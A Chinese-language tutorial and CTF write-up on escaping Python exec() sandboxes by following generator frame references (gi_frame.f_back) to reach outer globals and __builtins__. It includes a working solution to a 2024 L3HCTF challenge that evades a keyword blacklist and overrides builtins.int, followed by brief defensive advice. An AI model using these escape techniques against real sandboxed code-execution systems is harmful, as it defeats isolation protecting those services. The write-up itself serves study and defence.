Python利用栈帧沙箱逃逸
字数 1113
更新时间 2025-08-23 06:30:28

Python生成器与栈帧沙箱逃逸技术详解

1. 生成器基础

1.1 生成器概念

生成器(Generator)是Python中一种特殊的迭代器,特点:

  • 逐个产生值
  • 保留当前状态
  • 适合处理大型数据集或延迟计算

1.2 生成器创建方式

使用yield关键字定义:

def count():
    a = 1
    while True:
        yield a
        a += 1

f = count()
print(next(f))  # 1
print(next(f))  # 2
print(next(f))  # 3

带范围的生成器:

def count_to_100():
    a = 1
    for i in range(100):
        yield a
        a += 1

f = count_to_100()
for value in f:
    print(value)

1.3 生成器表达式

类似列表推导式,但使用圆括号:

a = (i + 1 for i in range(100))
for value in a:
    print(value)

2. 生成器属性

生成器对象有几个重要属性:

  • gi_code: 生成器对应的code对象
  • gi_frame: 生成器对应的frame(栈帧)对象
  • gi_running: 生成器函数是否在执行
  • gi_yieldfrom: 如果生成器正在从另一个生成器yield值,则为该生成器对象的引用
  • gi_frame.f_locals: 包含生成器当前帧的本地变量的字典

3. 栈帧(frame)对象

栈帧是Python执行代码的数据结构,包含:

  • f_locals: 局部变量字典
  • f_globals: 模块全局变量字典
  • f_code: 代码对象(包含字节码指令等)
  • f_lasti: 最后执行的字节码指令索引
  • f_back: 指向上一级调用栈帧的引用

4. 栈帧沙箱逃逸技术

4.1 基本原理

通过生成器的栈帧对象利用f_back返回前一帧,从而逃逸出沙箱获取全局符号表。

4.2 基本示例

s3cret = "this is flag"

codes = '''
def waff():
    def f():
        yield g.gi_frame.f_back
    g = f()  # 生成器
    frame = next(g)  # 获取到生成器的栈帧对象
    b = frame.f_back.f_back.f_globals['s3cret']  # 返回并获取前一级栈帧的globals
    return b
b=waff()
'''

locals = {}
code = compile(codes, "test", "exec")
exec(code, locals)
print(locals["b"])  # 输出: this is flag

4.3 替代方法

可以使用f_locals代替f_globals,但要注意:

  • locals返回的是局部符号表
  • 局部变量只在当前函数执行过程中存在

5. __builtins__模块

__builtins__模块包含Python的内置函数、异常和其他内置对象。

查看所有内置函数和异常:

dir(__builtins__)

6. 实战案例:2024L3HCTF题目分析

6.1 题目限制

  1. 代码不能包含__字符
  2. 黑名单限制:
    blackList = ["process", "os", "sys", "interpreter", "cpython", 
                "open", "compile", "__new__", "gc"]
    
  3. __builtins__被置空:
    exec(code, {"__builtins__": None}, locals)
    

6.2 解题思路

  1. 通过生成器栈帧逃逸获取沙箱外的globals
  2. 修改__builtins__.int函数绕过检查

6.3 解决方案

def fake_int(i):
    return 100001 * 100002

a = (a.gi_frame.f_back.f_back for i in [1])
a = [x for x in a][0]
builtin = a.f_back.f_back.f_globals["_"*2 + "builtins" + "_"*2]
builtin.int = fake_int

6.4 关键点

  1. 不能直接使用next()函数(因为__builtins__被置空),改用列表推导式获取栈帧:
    a = [x for x in a][0]
    
  2. 绕过__限制的技巧:
    "_"*2 + "builtins" + "_"*2
    

7. 防御措施

防止栈帧逃逸的方法:

  1. 限制生成器的使用
  2. 监控和限制对gi_frame属性的访问
  3. 严格控制f_backf_globals的访问
  4. 使用更严格的沙箱环境

8. 总结

栈帧逃逸技术利用了Python生成器和栈帧的特性,通过f_back链式访问可以突破沙箱限制。这种技术在CTF比赛中常见,但在实际开发中应避免使用,同时要注意防范此类安全漏洞。

相似文章
相似文章
 全屏